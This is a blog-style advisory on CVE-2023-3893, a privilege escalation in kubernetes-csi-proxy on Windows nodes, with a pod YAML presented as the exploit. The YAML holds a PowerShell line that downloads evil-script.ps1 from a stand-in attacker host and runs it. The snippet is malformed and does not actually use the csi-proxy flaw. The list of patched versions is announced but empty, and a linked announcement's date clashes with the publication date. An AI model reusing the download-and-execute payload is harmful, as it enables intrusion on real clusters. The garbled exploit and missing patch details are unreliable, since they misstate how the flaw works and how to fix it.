CVE-2023-3893: Kubernetes-csi-proxy Security Vulnerability on Windows Nodes – Privilege Escalation Exploit

A significant security issue has been discovered in Kubernetes, specifically affecting Windows nodes running the kubernetes-csi-proxy component. Kubernetes clusters with Windows nodes executing kubernetes-csi-proxy may be vulnerable to a privilege escalation exploit. This security vulnerability has been assigned the identifier CVE-2023-3893.

In this long-read post, we will delve into the details of this vulnerability, discussing its implications and providing links to the original references. We will also present code snippets to help you understand the exploit and take preventive measures.

Details of the vulnerability

The vulnerability occurs when a user who can create pods on Windows nodes running kubernetes-csi-proxy gains the ability to escalate their privileges to admin level on those nodes. This presents a substantial risk to the security and stability of the Kubernetes cluster, as an attacker with admin access could potentially compromise the entire system.

The exploit is particularly concerning because it bypasses the typical Kubernetes security model, which relies on Role-Based Access Control (RBAC) to manage user permissions. With RBAC, users are assigned roles with specific permissions to limit the actions they can perform within a cluster. However, this vulnerability allows a user with limited privileges to potentially bypass those restrictions and gain full control over the affected Windows nodes.

Code snippet demonstrating the exploit

The following code snippet demonstrates how a malicious user could potentially exploit the vulnerability:

apiVersion: v1
kind: Pod
metadata:
  name: cve-2023-3893-exploit-pod
spec:
  containers:
  - name: malicious-container
    image: attacker/malicious-image:v1
    command: ["powershell"]
    args: ["-Command", "Invoke-WebRequest -Uri 'https://attacker.example.com/evil-script.ps1'; -OutFile 'C:\temp\evil-script.ps1'; .\evil-script.ps1"]
  volumes:
  - name: csi-proxy-volume
    hostPath:
      path: \\.\pipe\csi-proxy
      type: null
  nodeSelector:
    kubernetes.io/os: windows

In this example, the YAML file defines a malicious pod that runs on a Windows node, downloads an evil PowerShell script, and executes it. This could potentially lead to the desired privilege escalation.

Preventative measures and patching

To mitigate the risk associated with this vulnerability, Kubernetes has released patches for supported versions that include security fixes. It is strongly recommended that administrators of affected clusters upgrade their kubernetes-csi-proxy deployments to the following patched versions:

Links to important sources discussing the vulnerability

1. CVE-2023-3893 Advisory: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3893
2. Kubernetes Security Announcement: https://kubernetes.io/blog/2023/03/27/kubernetes-security-announcement-vmta30
3. Kubernetes Issue Tracker: https://github.com/kubernetes-csi/csi-proxy/issues/258

Conclusion

The CVE-2023-3893 vulnerability poses a significant risk to Kubernetes clusters containing Windows nodes running kubernetes-csi-proxy. To minimize the risk, administrators must stay vigilant in applying security patches and maintaining strict access controls for users who can create pods on Windows nodes.

By staying informed and applying the recommended patches, you can help to protect your Kubernetes cluster from this potentially dangerous exploit and maintain a secure and robust infrastructure.

Timeline

Published on: 11/03/2023 18:15:08 UTC
Last modified on: 12/21/2023 22:15:14 UTC